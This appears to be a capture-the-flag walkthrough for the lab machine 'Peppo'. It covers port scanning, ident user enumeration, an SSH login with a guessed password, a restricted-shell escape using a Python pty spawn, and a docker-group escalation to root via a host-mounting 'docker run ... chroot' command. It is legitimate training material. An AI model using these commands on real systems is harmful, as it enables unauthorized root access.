# Peppo

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2FS3ZMkIR4X3MkruwaXJ4X%2Fimage.png?alt=media&#x26;token=fb76660e-47e7-4af3-ab2b-7695f14c9a68" alt=""><figcaption></figcaption></figure>

### Nmap

```
sudo nmap 192.168.100.60 -p- -sS -sV

PORT      STATE  SERVICE           VERSION
22/tcp    open   ssh               OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
53/tcp    closed domain
113/tcp   open   ident             FreeBSD identd
5432/tcp  open   postgresql        PostgreSQL DB 9.6.0 or later
8080/tcp  open   http              WEBrick httpd 1.4.2 (Ruby 2.6.6 (2020-03-31))
10000/tcp open   snet-sensor-mgmt?
```

As `ident` is running we can use the Perl script `ident-user-enum` to identify which services are running under what user.

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2FA6A5eQfcLRKVIkLFFvsD%2Fimage.png?alt=media&#x26;token=4f1de485-6cc5-401b-8d62-d358fdd3de86" alt=""><figcaption></figcaption></figure>

Port 10000 reports it is running under the user 'Eleanor'. I tried Bruteforcing the username on `SSH` and had no luck. Eventually simply trying `eleanor:elenaor` I was able to log in on SSH.

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2FJdvesMhfRctqbYhLQMX7%2Fimage.png?alt=media&#x26;token=3c733af8-7d78-47b6-a62a-3eeb45973b6d" alt=""><figcaption></figcaption></figure>

We see from trying the `id` the command we are locked in with a restricted bash shell. We can check out our command availability by viewing what binaries we have access to.

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2FKwjMZWX0fAeI0cUVkmjW%2Fimage.png?alt=media&#x26;token=03b5a0c6-1b9c-48f0-84a5-aa6145a32124" alt=""><figcaption></figcaption></figure>

Checking GTFObins for any of these binaries can spawn a shell to escape a restricted one:

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2F6n0KoRLnrdbvpGNBP0Hb%2Fimage.png?alt=media&#x26;token=37d215d0-226d-448b-8c8f-0e4e4bf4e602" alt=""><figcaption></figcaption></figure>

After running the above command we can export a new path and then spawn a Python shell then again export the path to having full function over the shell session.

```
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin
python -c 'import pty; pty.spawn("/bin/bash")'
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin
```

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2FLAORmFcC7dBcYgMQCmAH%2Fimage.png?alt=media&#x26;token=5ef0ea46-9b47-445d-91ca-e6691d710b6c" alt=""><figcaption></figcaption></figure>

The command `id` shows we are a member of the docker group. GTFObins again shows a method for spawning a root shell when we are a member of the docker group.

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2FMyXCcypbNSDWhs1OgKx2%2Fimage.png?alt=media&#x26;token=72684f2f-e2c2-4072-938d-77d40ef43ed0" alt=""><figcaption></figcaption></figure>

First, check what images we have available to us:

```
docker image ls
```

We can use the GTFObins command to replace the value `<alpine>` with one of the images listed above.

```
docker run -v /:/mnt --rm -it redmine chroot /mnt sh
```

Returning a shell as root:

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2FiWHkLgpUteaSPyctspc5%2Fimage.png?alt=media&#x26;token=9c04afaf-1639-407f-9501-021aa8a06b46" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
If you found this page helpful to you, please rate it below as per the feedback options. For any corrections or general communications, please see the root page [**Pentest Everything**](http://localhost:5000/s/-MFlgUPYI8q83vG2IJpI/) for contact information.
{% endhint %}
